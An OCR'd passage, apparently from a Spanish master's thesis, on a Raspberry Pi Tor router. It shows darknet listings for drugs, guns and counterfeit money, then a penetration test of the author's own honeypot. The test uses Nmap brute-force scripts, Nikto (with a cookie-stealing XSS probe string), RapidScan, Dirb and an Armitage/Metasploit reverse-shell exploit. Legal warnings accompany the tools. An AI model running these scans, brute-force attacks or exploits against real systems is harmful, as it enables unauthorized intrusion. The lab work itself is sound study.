"ATF I A _ALIAMY Anonym e = who i am or anything

Figura 26: Captura moévil acceso red Tor
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4.4 La ley con respecto a Tor.

Como hemos comentado, el uso de Tor no es ilegal en Espafia, sin embargo,
cierto contenido si lo es solo por hecho de tenerlo almacenado en nuestro PC o
haber accedido al mismo. Este contenido es de caracter peddfilo y terrorista y puede
ser juzgado por lo penal. Otros contenidos también son ilegales como drogas,
armas, etc. Puede que no estén penados por el mero hecho de acceder a verlos en
Tor, pero si de tenencia si se adquieren, como pueden ser drogas, armas o software
malicioso. En la mayoria de los casos, como minimo, pueden ser acusados de delito
menor con sanciones administrativas, aunque eso depende del uso que se les de o
de la cantidad adquirida. Otros delitos como la intrusion (hacking) o delitos contra la
propiedad intelectual también va por lo penal. (CJ Click Juridico.) (Gil Gil y
Hernandez Berlinches 178-179)

En la siguiente tabla podemos ver la relacién de castigos penales en relacion

al delito cometido si se usa Tor para fines poco éticos:

Descripcion del delito Articulo Castigo

Articulo 197 bis del

Intrusismo informatico 2015 Dos afos o multa de 18 meses
Delito contra la propiedad Articulo 270.2 del Pena de prisidon de seis meses a cuatro afos
intelectual 2015 y multa de doce a veinticuatro meses

Capacitarse en actos
terrorista Articulo 575 De dos a cinco anos

Material peddfilo Articulo 189.1 De uno a cinco afos

Tabla 1: Posibles delitos y su castigo (Gil Gil y Hernandez Berlinches 178-179)

En la siguiente figura podemos ver que con algo de navegacién ya se accede
a paginas que pueden generar un problema legal como son venta de drogas, armas

o alquiler de los servicios de un hacker.
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Stimulants

Uncut cocaine and speed!
We are shipping from germany and france every day
We have the best stealth packaging on the market and are shipping worldwide
L mm e s s .

Rent-A-Hacker

Product Price Quantity

1g pure Cocaine 75 EUR = 0.00254 B 1 X =

20 pure ¢

og pure ¢

Products Info

Guns

Only 3 x P39 and 2 x Glock 19 If
those are sold.

Figura 27: Paginas .onion de dudosa legalidad en Tor
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5. Laboratorios

5.1 Acceso andnimo a la Surface web.

El primer laboratorio que realizamos al completar la instalacion de nuestro
router Tor es acceder de forma andénima (Out-proxy). Para ello, simplemente nos
conectamos al punto wifi “Raspator’ y la conexidén a Internet automaticamente ira a

través de la red Tor.

Nota: Raspator fue el nombre que se nos ocurrié durante la practica, pero
debemos resefar que, durante la fase de investigacidn, se encontré un proyecto en
GitHub similar que realiza algo parecido a crear un router con conexion a la red Tor,
aunque el proceso es distinto (automatizado mediante script) y no contempla ciertas
caracteristicas con el objetivo de este TFM como el proceso de automatizacion y

conexiéon mediante 3G. (Fajardo y Jayfajardo)

Dispositivo Raspberry Pi
Router

Figura 28: Esquema basico de red acceso Surface web con Tor

Comprobamos  nuestro  anonimato entrando en los enlaces

https://hidemy.name/es/anonymity-cheker y https://proxy-cheker.net/es/privacy. Alli

veremos que, efectivamente, nuestra conexion viene de un proxy Tor.

En la web de hidemy nos identifica que estamos usando Tor. Esto se debe a

que dispone del listado de IPs de los nodos de Tor.
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https://hidemy.name/es/anonymity-cheker
https://proxy-cheker.net/es/privacy

® Herramienta de comprobacion de anonimato y de direcciones IF

€ C https:{/hidemy.name/esfanonymity-checker/
v I'I |demy- name {Qué es una VPN? Precios Descargar Ayuda
Direccién: e Mcnanmsa, Morponbo
» Puertos sospechosos Direccién IP: 32.22%
e Proveedor: arsys.es

-

Ping bidireccional

Comprobar

-

Discrepancia en las zonas he

-

Direccion IP sospechosa

Paginas web Probabilidad de haber usado herramientas para el anonimato:

9%

-

-

Hospedaje

Figura 29: IP nodo salida y resultado de anonimato. Uso de Tor

5.2 Acceso y navegacion en la Dark web.

En esta ocasion, el acceso a la red sera dentro de la red Tor usando los
enlaces .onion (In-proxy). Para ello, accedemos a una pagina de indices. Por
ejemplo, la ya comentada “The hidden Wiki’. La diferencia con respecto a navegar
de forma normal, es que ahora estamos navegando dentro de la red Tor con sus
dominios .onion, dominios que solo son posibles de resolver si estas usando el

protocolo Tor.

H ; Inside Tor
@—’ N Dark ieh

Dispositivo Faspherry Pi
Router

Figura 30: Esquema basico de red acceso red Tor
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En la siguiente figura podemos ver una web .onion de enlaces a otras web Tor

de tipo comercial y no comercial:

TorLinks | .onion Link List

Commercial Links

Non -Commercial Links

] i s s foean | Lt e fomn | Lem s

TorLinks is a moderated replacement for The Hidden Wiki, and serves as a link or url list of Tor hidden services.
Feel free to copy this deep web link list directory to your website to make others aware of the darknet.
We regulary update the tor onion sites on this site.

Financial Services Commercial Links

EasyCoin | EasyCoin Bitcoin Wallet, now with free Bitcoin Mixer!

WeBuyBitcoins | Sell your Bitcoins for Cash (USD), ACH, WU/MG, LR, PayPal and more
HQER | High quality euro bills replicas / counterfeits

USD Counterfeits | High quality USD counterfeits

OnionWallet | Anonymous Bitcoin Wallet and Bitcoin Laundry

Figura 31: Ejemplo de navegacion dentro de Tor

5.3 Hacking ético: Test de penetracion.

Una vez completado con éxito los laboratorios anteriores, realizamos una
serie de test de penetracion para enumerar los servicios descubiertos en el

Honeypot previamente configurado.

Existen varios tipos de escaneos de enumeracion. Unos mas agresivos que
otros y que van a dejar mas o menos huella. Siempre que realizamos un escaneo
con una herramienta automatizada, quedaran logs de dicho escaneo. Si el escaneo
de puertos o servicios es muy afinado, quedaran menos o incluso se entremezclaran
con el trafico legitimo. Si por el contrario se escanean puertos e IPs de manera
continua, sin pausas y utilizando todo el ancho de banda y recursos, una gran
cantidad de filas de nuestra intervencion apareceran en los logs del servidor/router

contra el que lo lancemos, incluso hara saltar las alarmas de los IDS/IPS del cliente.
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En este trabajo se intenta precisamente dar la voz de alarma y que nuestro
escaneo aparezca en nuestro Honeypot de tal manera que podamos identificar la IP

de origen con respecto de los demas ataques que nos realicen.

-

kali Raspherry Pi
Router

Figura 32: Esquema basico de red recorrido por el test de penetracion

Como hemos comentado, la fase de un test de penetracion que nos interesa
para este trabajo es la de escaneo, dicha fase viene relacionada con la fase anterior
de reconocimiento en la que habriamos averiguado la IP a la que pasar los
escaneos. En la fase de escaneo, también hay que seguir un orden para no realizar
pérdida o degradacién de servicio. Para afinar mas la busqueda de vulnerabilidades,
nos centraremos en los servicios que son mas explotables (aunque cualquiera
podria serlo si es vulnerable a un exploit): servicios web, servicios SMB, etc. Por eso
usaremos un primer escaneo con Nmap, luego usaremos herramientas de busqueda
de vulnerabilidades de servicios Web como NIKTO, RAPIDSCAN y posteriormente
un escaneo SMB con scripts de NMAP, etc.

5.3.1 Escaneo con Nmap.

La ejecucidn de esta herramienta contra servidores no autorizados puede

conllevar penas de carcel o sentencias administrativas.

Nmap: (Insecure.Com LLC) (Byte Mind) Es una herramienta de auditoria de
seguridad y de descubrimiento de red. También se usa para monitorizar e inventariar
la red. No solo permite escanear la red en busca de puertos abiertos, sino que
dispone de multiples tipos de escaneo de tal manera que es capaz de averiguar el

sistema operativo, detectar filtrado de puertos (presencia de firewalls), utilizar una
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maquina zombi, modificar el tipo de escaneo para evadir firewalls, usar sefiuelos,

scripts preparados para servicios y un largo etc.

Los comandos y resultados son muy extensos como para anadirlos incluso
como anexo, pero hemos afadido unas capturas de pantalla de resultados

significativos de los comandos (Byte Mind).

Los dos primeros escaneos que lanzaremos conllevan considerablemente
tiempo y dejan mucha huella, pero suelen dar buenos resultados. Recordemos que
Tor no permite usar el protocolo UDP por eso solo hablaremos de escaneos TCP. Se
trata de “connect scan” y “syn scan”. Connect scan abre una conexién contra el
puerto y la cierra pasando por todo el proceso de conexion de TCP (three-way
handshake), sin embargo, syn scan, abre la conexién, pero la deja abierta con lo
qgue solo realiza parte de dicho proceso TCP. “Syn Scan”y “Connect Scan” dieron
resultados similares (excepto el FTP, solo mostrado con connect Scan). Para
ejecutarlos solo hay que cambiar el flag -sS y -sT respectivamente. -A para que

lance scripts y -p para indicar los puertos.

El escaneo de puertos muestra todos abiertos, sin embargo, esto es debido a
que el Honeypot estaba en la DMZ y aparecen muchos filtrados por el propio firewall
del router doméstico. La lista de servicios abiertos vulnerables es la siguiente: 21,
22, 23, 53, 69, 80, 123, 135, 443, 445, 631, 1433, 3306, aunque en la siguiente tabla
solo mostramos algunos de ellos y las lineas de ataque mediante las cuales seria

posible el acceso.

Servicio Linea de ataque Puerto
Enumeracién de usuarios mediante fuerza
MYSQL bruta. netadmin:netadmin, etc. 1443
Puertos abiertos con carpetas compartidas.
SMB ADMINS, C$, etc. 445
HTTP Cross site scripting. XSS 80
HTTP Apache 2.4.38 80
SSH OpenSSH 7.9 p1 Raspbian 22
FTP Synology Diskstation NAS 21

Tabla 2: Tabla resultado de los servicios escaneados
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En la siguiente figura vemos que el servicio ssh usa OpenSSH 7.9p1

kali@kali:~$ sudo nmap -A -sS
-p21,22,23,53,69,80,123,135,443,445,631,1433,3306 37.11.X.X

PORT STATE SERWICE YERSION
21litep open ftp Synology DiskStation MAS ftpd
22/tcp open  ssh OpensSH 7.9 1 Raspbian 1&+debl@u2+rptl (protocol 2.8

| ssh-hostkey:

| 2048 63:28:eB8:82:6b:595:98:20:25: 1f:4@:7d: d3:@f:43:dd (R5A)
| 256 2a:2a:5d:lbral:e2:82:f1:e5:92:b9:b8:9:93:ba:bd (ECDSA)
| 256 @1l:ba:6a:18:64:98:3e:9c:6d:40:a1:11:e2:8d:42:51 (ED25519)

Figura 33: Resultado Nmap syn scan

En la siguiente figura vemos que tiene el servicio FTP Synology y que esta
habilitado para el acceso anénimo.

kali@kali:~$ sudo nmap -A -sT
-p21,22,23,53,69,80,123,135,443,445,631,1433,3306 37.11.X.X

PORT STATE SERWICE YERSION

21/tcp open fip Synology DiskStation NAS ftpd
| ftp-anon: Anonymous FTP login allowed (FTP code 238)
| Can't get directory listing: TIMEOUT

22/tcp open  ssh OpenssH 7.9 1 Raspbian 1&+debl@u2+rptl (protocol 2.8)
| ssh-hostkey:

| 2648 63:28:e8:82:6b:05:08:26: 25 11:46:7d:d3:6f:43:dd (R5A)
| 256 2a:2a:5d:lbral:e?:82:f1:e5:92:b%:b8:9f:93:ba:b® (ECDSA)
| 256 @l:ba:ba:l8:6a:98:3e:9c:6d:48:al:11:e2:8d:42:51 (ED25519)

Figura 34: Resultado Nmap connect scan

En la siguiente figura vemos que tiene activo el servicio Apache con httpd
2.4.38. y nos muestra la IP interna de la maquina.
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sEftop open  http Apache httpd 2.4.38

| _http-server-header: Apache/s2.4.38 (Raspbian)

| http-title: Did not follow redirect to https://192.168.1.128
123/tcp open ntp?

135 /tcp open msrpc?

43 /tcp open ssl/http Apache httpd 2.4.38

| http-server-header: Apache/2.4.38 (Raspbian)

| http-title: 498 Bad Request

| ssl-cert: Subject: stateOrProvinceName=0R/countryhlame=US

| Mot walid before: 2621-85-@9T17:21:58

| Mot walid after: 2622-85-09T17:21:58

| ssl-date: ERROR: Script execution failled (use -d to debug)
| tls-alpn:

| httpsl.l

Figura 35: Resultado Nmap

Aunque muestra errores, vemos que tiene abierto el servicio MYSQL.

3386/tcp open mysql?

| mysql-info: ERROR: Script execution failed fuse -d to debug)

| ssl-cert: ERROR: Script execution failed (use -d to debug)

| ssl-date: ERROR: Script execution failed (use -d to debug)

| ss1w2: ERROR: Script execution failed (use -d to debug)

| tls-alpn: ERROR: Script execution failed {use -d to debug)

| tls-nextprotoneg: ERROR: Script execution failed (use -d to debug)

Warning: 055can results may be unreliable because we could not find at least 1 open and 1 clesed port

Figura 36: Resultado Nmap connect scan MYSQL

Una vez obtenido el listado de servicios disponibles, podemos entrar mas

profundidad usando los propios scripts de Nmap.

Los siguientes scripts sirven para analizar MSSQL y MYSQL.

En la siguiente figura, podemos ver que nos dice la version del producto SQL

server 2000 SP1, ya esta desfasado y es vulnerable a multiples exploits.

$sudo nmap --script ms-sql-info -p1433 37.11.XX
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kaligkali:~$ sudo nmap --script ms-sgl-info -pl433 37.11.F
Starting Nmap 7.91 ( https:Jinmgo_org ) at 2021-05-20 21:
Nmap scan report for 37.11. e

Host is up (6.0083s latenc

PORT STATE SERVICE
1433/tcp open ms-sqgl-s

Host script results:
| ms-sql-info:

| 3?,1%1433:
Ve H

|
| name: Microsoft SQL Server 2000 S5P1+
| number: 8.00.528.00

| Product: Microsoft SQL Server 2000

| Service pack level: SP1

[ Post-SP patches applied: true

| TCP port: 1433

Nmap done: 1 =P address (1 host up) scanned in 21.15 seconds
kalidkali:~4%

Figura 37: Resultado Nmap con script ms-sql-info

En la siguiente figura, vemos que el script de ataque de fuerza bruta nos

enumera ciertos usuarios que estan activos en la base de datos.

$sudo nmap --script ms-sql-brute -p1433 37.11.XX

kali@kali:~% sudo nmap --script ms-sql-brute -pl433 37.11 e
Starting Nmap 7.91 ( https: ap.org ) at 2021-05-20 21:2T°
Nmap scan report for 37.11.E
Host is up (©.0085s latencyT.

PORT STATE SERVICE
1433/tcp open ms-sql-s
| ms-sql-brut
| [37.11E

| found:

| netadmin Inetadmin => Login Success
| webadmin:webadmin => Login Success
| admin:admin => Login Success

| administrator:administrator => Login Success
| test:test => Login Success

| root:root == Login Success

[ web:web => Login Success

| sysadmin:sysadmin => Login Success
| guest:guest => Login Success

| user:user => Login Success

Nmap done: 1 IP address (1 host up) scanned in 19.43 seconds
kaligkali:~$ B

Figura 38: Resultado Nmap con script ms-sql-brute
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Los siguientes scripts sirven para analizar SMB:

En la siguiente figura, podemos ver que nos enumera las carpetas
compartidas.

$sudo nmap --script smb-enum-shares -p445 37.11.XX

} :~%$sudo nmap --script smb-enum-shares -p445 3?.11.??; ===
Starting Nmap 7.91 ( https://nmap.org ) at 2021-05-20 20:30 UTC

Stats: 0:00:26 elapsed; 0 hosts completed (1 up), 1 undergoing Script Scan
NSE Timing: About ©.00% done

Nmap scan report fc&= #511.37.dynamic.jazztel.es (37.11.5=
Host is up (0.0084s= =

Tootey ) .

PORT STATE SERVICE
445/tcp open microsoft-ds

Host script results:

| smb-enum-shares:

| account_yised: guest i
| \A3T. 11 B ADMING : 2
| Type: STYPE DISKTREE

| Comment: Remote Admin

| Users: 1

| Max Users: <unlimited=

| Path: C:\Windows

| Anonymous access: READ/WRITE
|

|

|

|

|

Type: ~c_DISKTREE_HIDDEN
Comment: Default Share
Users: 1

Max Users: <unlimited=>

Figura 39: Resultado Nmap con script smb-enum-shares

En la siguiente figura, vemos que el script lanza un ataque de fuerza bruta

contra SMB, en este caso sin éxito.

$sudo nmap --script smb-brute -p445 37.11.XX
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:~% sudo nmap --script smb-brute -pd45 3?,11LEE---n;-

Starting Nmap 7.91 ( https://nmap.org } at 2021-05-20
Stats: 0:06:15 elapsed; @ hosts completed (1 up), 1 undergoing Script Scan
NSE Timing: About ©.00% done

NSE: [smb-brute] passwords: Time limit 10mB@s exceeded.

_—

Nmap scan report for 3?.11;5;

e

v

PORT STATE SERVICE
445/tcp open microsoft-ds

Host script results:
| smb-brute:

| No accounts found

Nmap done: 1 IP address (1 host up) scanned in 653.80 seconds
%

I
|

Figura 40: Resultado Nmap con script smb-brute

Comentar que también se probd la herramienta “Legion” (GoVanguard)
incluida en Kali. Dicha herramienta permite realizar una gran cantidad de escaneo

de vulnerabilidades de forma automatizada.
5.3.2 Escaneo con Nikto. RapidScan.

La ejecucién de esta herramienta contra servidores no autorizados puede

conllevar penas de carcel o sentencias administrativas.

Como en el escaneo anterior hemos visto que hay servicios Web disponibles,

pasamos al escaneo de vulnerabilidades web con Nikto (Sullo).

Nikto: herramienta “Open Source” de escaneo de vulnerabilidades web
escrita en lenguaje Perl. Viene instalada en Kali por defecto y para ejecutarla
simplemente debemos escribir nikto -h que indicara el host (ya sea por IP o por

nombre) y -p que indica el puerto, normalmente 80 o 443.
La sintaxis de ejecucion de la herramienta es la siguiente:
$nikto -h 37.11.XXX -p 80

Al pasar la herramienta al dispositivo Honeypot, puerto 80, muestra 4 items.
Entre los items detectados, podemos ver una vulnerabilidad a Cross Site Scripting.
También muestra la IP interna, el tipo de servicio Web Apache y sistema operativo

Raspbian.
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~C kali:~$%$ sudo nikto -h 37.11.
[sudo] password for kali: 3
- Nikto v2.1.6

+ Target IP:

+ Target Hostname:
¥

+

Target Port:
Start Time:
+ Server: Apache/2.4.38 (Raspbian)
+ RFC-1918 IP address found in the 'location' header. The IP is "192.168.1.120".
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against so
me forms of XSS
+ Root page / redirects to: https://192.168.1.120
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ 0SVDB-630: The web server may reveal its internal or real IP in the Location header via a request to / o
ver HTTP/1.0. The value is "192.168.1.120".
+ /modules.php?letter=%22%3E%3Cimg%20src=javascript:alert(document. cookie) ;%3E&op=modload&name=Members Lis
t&file=index: Post Nuke ©.7.2.3-Phoenix is vulnerable to Cross Site Scripting (XSS). http://www.cert.org/a
2visories/ca—2@@@—@2.html.

Figura 41: Escaneo Nikto http

La sintaxis es la misma para https cambiando solo el puerto.
$nikto -h 37.11.XXX -p 443

El escaneo al puerto 443 encuentra 3 items igual que el anterior, pero no el
vulnerable a XSS.

:~$% sudo nikto -h 37.% -p 443

[sudo] password for kali:
- Nikto v2.1.6

+ Target IP: 3?.1

+ Target Hostname: 37.158

+ Target Port: 443

+ SSL Info: Subject: /C=US/ST=0R/L=Portland
Ciphers: TLS AES 256 GCM SHA384
Issuer: /C=US/ST=0R/L=Portland

+ Start Time: 2021-05-09 14:16:14 (GMTO)

+ Server: Apache/2.4.38 (Raspbian)

+ The X-XSS-Protection header is not defined. This header can hint to the us
me forms of XSS

+ The site uses SSL and Expect-CT header is not present.

+ / - Requires Authentication for realm 'Restricted Content'

No CGI Directories found (use '-C all' to force check all possible dirs)
Hostname '37.1%%&5 not match certificate's names:

I+ +

Figura 42: Escaneo Nikto https

A medida que vaya realizando el test de vulnerabilidades nos las ira
mostrando por pantalla. Es una herramienta sencilla pero que nos mostrara
informacion interesante sobre el servicio Web y sobre alguna de sus

vulnerabilidades.
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Podemos realizar un analisis mas completo utilizando RapidScan (Skavngr)
para comprobar que los resultados de Nikto son correctos y asi ver si encontramos
alguna vulnerabilidad mas. Esta herramienta utiliza a su vez otras herramientas para

analizar mas de 80 vulnerabilidades Web entre ellas Nmap, Dnswalk y Nikto.

Rapidscan: Script escrito en Python. Lanza una bateria de escaneo de
vulnerabilidades web usando varias herramientas. En la siguiente figura podemos

ver algunas de sus funcionalidades.

Vulnerability Checks

e o DNS/HTTP Load Balancers & Web Application Firewalls.

e f Checks for Joomla, WordPress and Drupal

e o SSL related Vulnerabilities (HEARTBLEED, FREAK, POODLE, CCS Injection, LOGJAM, OCSP Stapling).

e o Commonly Opened Ports.

e o DNS Zone Transfers using multiple tools (Fierce, DNSWalk, DNSRecon, DNSEnum).

* o Sub-Domains Brute Forcing (DNSMap, amass, nikto)

* o Open Directory/File Brute Forcing.

e o Shallow XSS, SQLi and BSQLI Banners.

e o Slow-Loris DoS Attack, LFI (Local File Incluston), RFI (Remote File Inclusion) & RCE (Remote Code Execution).

e & more coming up...

Figura 43: Algunas caracteristicas del escaneo con Rapidscan (Skavngr)

Primero lo descargamos con el siguiente comando:
Lo descargamos:

$wget -0 rapidscan.py

https://raw.qithubusercontent.com/skavngr/rapidscan/master/rapidscan.py && chmod

+X rapidscan.py

Cuando lo ejecutamos por primera vez, revisara si dispone de las
herramientas necesarias para lanzar el escaneo, si no dispone de ellas, podemos
pararlo, instalar las necesarias y volver a lanzarlo. Kali por defecto viene sin
“Golismero”, “Dnswalk’, “Dnsmasp”’, “Xsser” y “Uniscan”. Golismero hay que
descargarla de su repositorio web (Golismero) y seguir los pasos de instalacion
(Astudillo B). El resto simplemente con el comando “apt-get install dnswalk dnsmap

xsser uniscan”. Una vez instaladas ya apareceran todas las disponibles.
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https://raw.githubusercontent.com/skavngr/rapidscan/master/rapidscan.py

En la siguiente figura podemos ver el cheking que realiza la herramienta al

inicio de su ejecucion:

(The Multi-Tool Web Vulnerability Scanner)

L Checking Available Security Scanning Tools Phase... Initiated. ]
wapiti
whatweb
nmap
golismero
host
wget
uniscan
wafwoef
dirb
davtest
theHarvester
Xs5er
dnsrecon
fierce
dnswalk
whols
sslyze
lbd
golismero
dnsenum
dmitry
davtest
nikto
dnsmap
amass

Figura 44: Herramientas instaladas para pasar RapidScan
Lo ejecutamos:
$sudo python2.7 rapidscan 37.11.XXX

Una vez lanzado el escaneo, ejecutara las 80 fases. Algunas de ellas como el
escaneo UDP hay que saltarlo, ya que la red Tor no lo permite, no nos aportara nada

y tarda en realizarse varias horas.
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[e < 15s] Deploying 1/80 | Nmap - Checks for MS-SQL Server DB...Completed in 14s
Vulnerability Threat Level

Vulnerability Definition

Since the attacker has knowledge about the particular type of backend the target is running, they
will be able to launch a targetted exploit for the particular version. They may also try to authenticate w
ith default credentials to get themselves through.
Vulnerability Remediation

[e < 35s5] Deploying 2/80 | Nikto - Checks for MS10-070 Vulnerability....Completed in 49s

[® < 36m] Deploying 3/80 | Golismero Subdomains Bruter - Brute Forces Subdomain Discovery....Completed in
4s

[e < 35s] Deploying 4/80 | Nikto - Checks for Injectable Paths....Completed in 51s

[e < 30s] Deploying 5/80 | Nmap [Heartbleed] - Checks only for Heartbleed Vulnerability. [

Figura 45: Proceso de escaneo con RapidScan.

La herramienta ejecutara mas de 80 test de vulnerabilidades y generara dos
informes, uno de vulnerabilidades llamado “RS-Vulnerability-Report” y otro de

depuracion y errores llamado “RS-Debug-ScanlLog’ que incluira mas informacion.
Informacién de las herramientas y alguno de los ejemplos de los informes son
los siguientes:
RS-Vulnerability-Report

Golismero: Es una herramienta de busqueda de vulnerabilidades escrita en
Python2.X y bastante potente. Permite realizar una bateria de escaneos y presentar
un informe grafico. En la siguiente captura vemos que ha usado Nikto para buscar
ciertas vulnerabilidades XSS, CGl, etc. (Astudillo B).
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| Golismero 2.9.8h6, The Web Knife |
| Copyright (C) 2811-2814 Golismero Project |

| Contact: contact@golismero-project.com |

Golismereo started at 2021-85-89 21:53:42.539145 UTC

O[iml[34m[*] Golismercl[&m: Audit name: golismerc-xksBAIIN

GolLismerdl[8m: Added 2 new targets to the database.
Golismerdl[8m: Launching tests...

GolLismerdl[@m: Current stage: 1[35mbcanning (non-intrusive)l[em
Niktoll[@m: Launching Nikto against: 37.1L58 <
Niktol[@m: - Nikto v2.1.6

=)

Target IP:
Target Hostname:
Target Port:
Start Time:

Gm: + Serwver: Apache/2.4.38 (Raspbian)

@m: + RFC-1918 IP address found in the 'location’ header. The IP is "192.168.1.12¢".

O[iml[34m[*] MNiktel[&m: + The X-X55-Protection header iz not defined. This header can hint te the user agent to protect

against some forms of X535

O[1m0[34m[*] Niktol[em: + Root page / redirects to: https:/f192.168.1.12@

O[1m0[34m[*] Niktol[@m: + Mo CGI Directories found (use *-C all® to force check all possible dirs)

O[iml[34m[*] MNiktel[&m: + CSYDB-638: The web serwer may reweal its internal or real IP in the Location header wia a request to

J over HTTP/L1.9. The wvalue is "192.168.1.12¢".

O[1m0[34m[*] Niktol[em: + /modules.php?letter=¥22%3E%3Cimg#20src=Javascript:alert (document.cookie);

%3ERop=modl cad&name=Members_List&file=indesx: Post Muke 8.7.2.3-Phoenix is wulnerable to Cross Site Scripting (X55).

http: /S, cert. org/advisories /CA-2006-62 . himl.
] Miktol[&m: + 7358 requests: @ error{s) and 4 item{s) reported on remote host

[ ] Niktcl[®m: + End Time: 2621-85-89 22:27:84 (GMT@) (1998 seconds)

[ I e T e L e L E L L L EEEE PP

[1mO[34m[*] Niktol[@m: + 1 host(s) tested

[ ] Miktol[@m: Mikto found 4 wulnerabilities for host: 37.11

[ ] Golismerdl[&m: Current stage: [[3SmReportingl]ém

Figura 46: Resultado de Golismero

Uniscan: (Velasco y Redes zone) Es una herramienta escrita en Perl que
también se utiliza para buscar vulnerabilidades web. En las siguientes figuras

podemos ver el resultado de alguno de sus escaneos.

i

SCAN RESULTS FOR 37.11.8

¥ Session Renegotiation:
Client Renegotiation Dob Attack: Ok - Mot wvulnerable
Secure Renegotiation: Ok - Supported

SCAN COVMPLETED IN L1L.77 5

Figura 47: Resultado de Uniscan

67



HTML report saved in: report/37.11 58 html

e
R =

Fierce Subdomains Bruter - Brute Forces Subdomain Discowery.

MN5: failure
508: failure
Failed to lookup N%/504, Domain does not exist

Figura 48: Resultado de Uniscan

S55lyze - Checks for ZLib Deflate Compression.

* Deflate Compression:

Ok - Compression disabled

Figura 49: Resultado de Uniscan

Dirb: Es una herramienta de enumeraciéon de subdirectorios web mediante

creacion de diccionario y aplicacién de fuerza bruta.
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DIRE +2.22
By The Dark Rawver

START _TIME: Sun May 9£%5;9%:2@ 2e21

URL_BASE: http://37.115Eo= =%

WORDLIST _FILES: fusr/sharefdirbfwordlists/common.txt
OPTION: Fine tunning of NOT_FOUND detection

CPTION: Using Case-Insensitiwve Searches

¥** Generatlng Wordli=st...

GEMNERATED WORDS: 4456

--» Testing: http:,.f,IB?.ll.I'l'l‘ig,f.bash_histor“y

W il

|

--» Testing: http:;’fB?.ll.ilx i / .bashrc
|

11 i

--> Testing: http:ffB?.ll.#l Y.cache
|‘l I

~> Testing: http://37.11.00 ‘|!hf.config
It ‘|'l-‘

--> Testing: http://37.11. lr' |IlJ.cv5

g
-3 Tectino: httns S S3T7 11 ‘I 1L rucionare

Figura 50: Resultado de DirB

Una vez finalizada la fase de escaneo y encontradas varias las lineas de
ataque mostradas en la tabla anterior, podemos proseguir a la fase de “obtener

acceso” mediante la herramienta Armitage.

5.3.3. Armitage.

La ejecucién de esta herramienta contra servidores no autorizados puede

conllevar penas de carcel o sentencias administrativas.

Armitage: (Dragonjar) se trata de un interfaz grafico de Metasploit. Se podria
utilizar para las fases de escaneo, acceso, mantener acceso y limpieza de huellas
debido a que dispone de multiples herramientas. En este caso, solo lo usamos como

modo de ejemplo de continuacién a la fase de “escaneo”, |la fase “obtener acceso”.
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Arrancamos primero postgresq|l.
$sudo service postgresql start
Luego arrancamos Armitage
$sudo armitage

Nota: Al usar los exploit con Shell reversible, viene por defecto nuestra IP. Si
lanzamos el exploit sin modificarlo perderemos el anonimato. También sucedera lo

mismo con los ataques UDP, ya que Tor no los soporta.

Después de arrancar el servicio de postgresql, abrimos Armitage y nos dira
que es necesario levantar el servicio de escucha de Metasploit. Después de decirle

que si, veremos un entorno como el de la siguiente figura.

; Armitage

Armitage \iew Hosts Attacks Werkspaces Help

r GGH;)IOIE
* [ payload
* [ post

|- Consale X ] Scan X | Senvices X h

host name port A | proto info
37.".1."1'[“‘" 21 tcp
37.11. ' T 22 tep
3?.‘-_1.1" ‘I 23 tep
3T.Ll."| 1 25 tep
3?.'_1.& I? J 42 tep
37.11.4] .lIJ - =
33. 1 1 I}Yrvll 69 tep
3:._1.' "‘||l, 80 tep
= e ) 81 tc
s -

| Refresh | | Copy |

Figura 51: GUI de Armitage

En la parte superior izquierda tenemos las herramientas para crear la Shell de
escucha, los exploits y payloads de Metasploit y las herramientas post explotacion.

En la parte superior derecha tenemos el host victima sobre el que lanzar los
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escaneos, el exploit y demas acciones. En la parte inferior, veremos las pestafas

con los resultados de cada accidn realizada.

El funcionamiento de Armitage se compone de varios pasos. primero se
realiza la fase de escaneo o importacion de los datos de la victima, luego
posteriormente se realiza obtener acceso, después se mantiene el acceso y por
ultimo se borran las huellas. Como hemos comentado, en este trabajo s6lo nos

interesa la fase de escaneo y la de obtener acceso.

1.- Fase de escaneo: En esta fase, importamos el escaneo ya realizado con
otras herramientas o afladimos manualmente el host. En la parte superior derecha
aparecera el host victima. En la siguiente figura, podemos ver que hemos afiadido

un host y que ha terminado el escaneo.

iz

mitage View Hosts Attacks Workspaces Help
* [;' explait

* [ payload

- ([ post

Message
Attack Analysis Complete...

You will now see an ‘Attack' menu attached
to each host in the Targets window,

Happy hunting!

| console X | scan Ki
L+1 ﬂf:Jl:UH‘r ) . . P
3 LR - 37.11.48 T - T

- - TCP OPEN

= TCP OPEN
- TCP OPEN
= TCP OPEN
- TCP OPEN
- TCP OPEN

[om)

- TCP OPEN
> - TCP OPEN

i

msf6 auxiliary(scanner/portscan/tcp) =

Figura 52: Fase de escaneo con Armitage

Si pulsamos botén derecho sobre el host, services, nos saldra una pestafna en

la parte de abajo indicandonos los servicios activos a explotar.
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[cansale x] Scan X | Services X I

host name port i | proto
37.11. 3 21 tep
37.11 22 tep
37114 23 tep
37.11. 38 | 111 25 tep
37.11 42 tcp
37.11 49 tep
=il 69 tep
37.11 B0 tcp
81 tep

L. ra—

| Refrash | | Copy |

Figura 53: Servicios activos, Armitage

En la parte superior izquierda, tenemos las distintas herramientas para crear

nuestra Shell inversa de escucha, buscar, preparar y lanzar nuestro exploit y payload

y realizar la fase post-explotacion (mantener acceso, migrar procesos, borrar

huellas) en el caso de que logremos tener acceso.

b3}

Armitage View Hosts Attacks Workspaces Help
> ﬁ explaoit

* | payload

* [ post

Figura 54: Ventana de opciones, Armitage

2.- Obtener acceso: En esta fase, seleccionamos uno de los exploits que

anteriormente hemos confirmado como vulnerable. Configuramos los parametros

auxiliares de nuestra Shell inversa (payload) previamente preparada y lo lanzamos.
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¥ & ssh
_ | freeftpd_key_exnchange
freesshd_authbypass
freesshd_key exchange

Sysax 5.53 55H Username Buffer Overflow

| putty msg_debug This module exploits a vulnerability found in Sysax's SSH service. By supplying a long L
username, the 55H server will copy that data on the stack without proper bounds .
securecrt_sshl : ) !
= checking. therefere allowina remote code execution under the context of the user,
B sysax ssh username e
> [ ssl Option 4| Value
E— | wHosT 192.168.2.17
LPORT 25551
— RHOSTS + 37.11 8
RPORT 22

- ]
onsole x]scan X | Services X | expla

pLoit{windows /telnet/goodtech
g dows/telnet/goodtech EE—_—_0:— [0 => Sysax 5,53 on Win XP SP3 / Win2k3 SPO | ¥]

| Use arewverse connection

| Show advanced options

k

Launch

Figura 55: Configurar exploit, Armitage

Si todo ha ido bien, nos aparecera que tenemos una sesién de Meterpreter

abierta. En la siguiente figura aparecen 3 sesiones Meterpreter abiertas.

